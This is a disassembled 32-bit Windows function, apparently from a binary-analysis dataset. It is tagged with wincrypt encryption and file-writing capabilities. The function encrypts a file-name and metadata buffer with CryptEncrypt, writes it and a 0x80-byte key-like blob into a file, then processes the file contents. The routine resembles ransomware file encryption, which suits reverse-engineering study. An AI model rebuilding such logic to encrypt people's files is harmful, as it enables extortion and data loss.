Function at 0x4045a0
Capabilities:
Encrypt or decrypt via wincrypt
Get file size
Write file on windows

Disassembly:
sub esp, 0x2c
push ebx
push ebp
mov ebp, dword [esp + 0x3c]
push esi
push edi
mov esi, eax
lea eax, [esp + 0x30]
push eax
push ebp
mov dword [esp + 0x24], 0
mov byte [esp + 0x1e], 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4048c7
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
push 0
push 3
push ecx
push edx
call fcn.004090c0
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
call fcn.004026e0
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x24], ebx
je 0x4048c7
mov edi, dword [esp + 0x40]
mov eax, dword [edi]
mov cl, byte [eax + 0x30]
cmp cl, 1
sete dl
add dl, 1
cmp cl, 1
mov byte [esp + 0x17], cl
mov byte [eax + 0x30], dl
jne 0x404621
mov eax, dword [edi]
mov eax, dword [eax + 0x20]
jmp 0x404626
mov ecx, dword [edi]
mov eax, dword [ecx + 0x28]
push ebx
push eax
lea edi, [esp + 0x24]
call fcn.00402ac0
test al, al
je 0x4048b7
mov eax, esi
jmp 0x404640
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x404640
jmp 0x404650
sub eax, 2
cmp eax, esi
je 0x404662
cmp word [eax], 0x5c
jne 0x404650
lea ebx, [eax + 2]
jmp 0x40466f
cmp word [eax], 0x5c
jne 0x40466d
lea ebx, [eax + 2]
jmp 0x40466f
mov ebx, esi
mov eax, ebx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404671
sub eax, ebx
sar eax, 1
lea edi, [eax + eax - 2]
lea eax, [edi + 0x1c]
mov ecx, eax
and ecx, 0xf
mov dword [esp + 0x20], eax
je 0x40469f
mov edx, 0x10
sub edx, ecx
add eax, edx
mov dword [esp + 0x20], eax
test eax, eax
je 0x4048b3
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4048b3
mov eax, dword [esp + 0x40]
mov ecx, dword [eax + 0x14]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov dword [esi + 8], eax
mov dword [esi], ecx
mov dword [esi + 4], edx
mov ecx, dword [esp + 0x30]
push edi
mov dword [esi + 0xc], ecx
mov edx, dword [esp + 0x38]
lea eax, [esi + 0x18]
push ebx
push eax
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], edi
call fcn.00401140
add esp, 0xc
lea edx, [edi + 0x18]
mov eax, esi
call fcn.00404ae0
mov dword [edi + esi + 0x18], eax
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push eax
lea ecx, [esp + 0x2c]
push ecx
push esi
push 0
push 0
push 0
push edx
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x4048a3
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov edx, dword [esp + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [esp + 0x1c]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x30], 0
call edi
test eax, eax
je 0x4048a3
mov eax, dword [esp + 0x18]
cmp eax, dword [esp + 0x20]
jb 0x4048a3
push 0
lea ecx, [esp + 0x1c]
push ecx
push 4
lea edx, [esp + 0x2c]
push edx
push ebp
call edi
test eax, eax
je 0x4048a3
cmp dword [esp + 0x18], 4
jb 0x4048a3
mov ecx, dword [esp + 0x24]
push 0
lea eax, [esp + 0x1c]
push eax
push 0x10
push ecx
push ebp
call edi
test eax, eax
je 0x4048a3
cmp dword [esp + 0x18], 0x10
jb 0x4048a3
cmp byte [esp + 0x17], 1
mov ebx, dword [esp + 0x40]
jne 0x4047c6
mov edx, dword [ebx]
mov eax, dword [edx + 0x24]
jmp 0x4047cf
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
mov eax, dword [ecx + 0x2c]
push 0
lea edx, [esp + 0x1c]
push edx
push 0x80
push eax
push ebp
call edi
test eax, eax
je 0x4048a3
cmp dword [esp + 0x18], 0x80
jb 0x4048a3
push 0
lea eax, [esp + 0x1c]
push eax
push 4
push 0x41b02c
push ebp
call edi
test eax, eax
je 0x4048a3
cmp dword [esp + 0x18], 4
jb 0x4048a3
push 0
lea ecx, [esp + 0x1c]
push ecx
push 4
push 0x41b020
push ebp
call edi
test eax, eax
je 0x4048a3
cmp dword [esp + 0x18], 4
jb 0x4048a3
cmp byte [esp + 0x17], 1
jne 0x404843
mov edx, dword [ebx]
mov eax, dword [edx + 0x20]
jmp 0x404848
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
mov ecx, dword [esp + 0x24]
push ecx
push eax
lea edi, [esp + 0x24]
call fcn.00402ac0
test al, al
je 0x4048a3
mov edi, dword [esp + 0x1c]
push 0
lea edx, [esp + 0x2c]
push edx
xor eax, eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x4048a3
lea eax, [esp + 0x28]
push eax
push edi
mov edi, ebx
mov ebx, ebp
call fcn.004044c0
add esp, 8
test al, al
je 0x4048a3
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov dword [esp + 0x1c], 0
mov byte [esp + 0x16], 1
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esp + 0x24]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x4048d6
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov al, byte [esp + 0x16]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret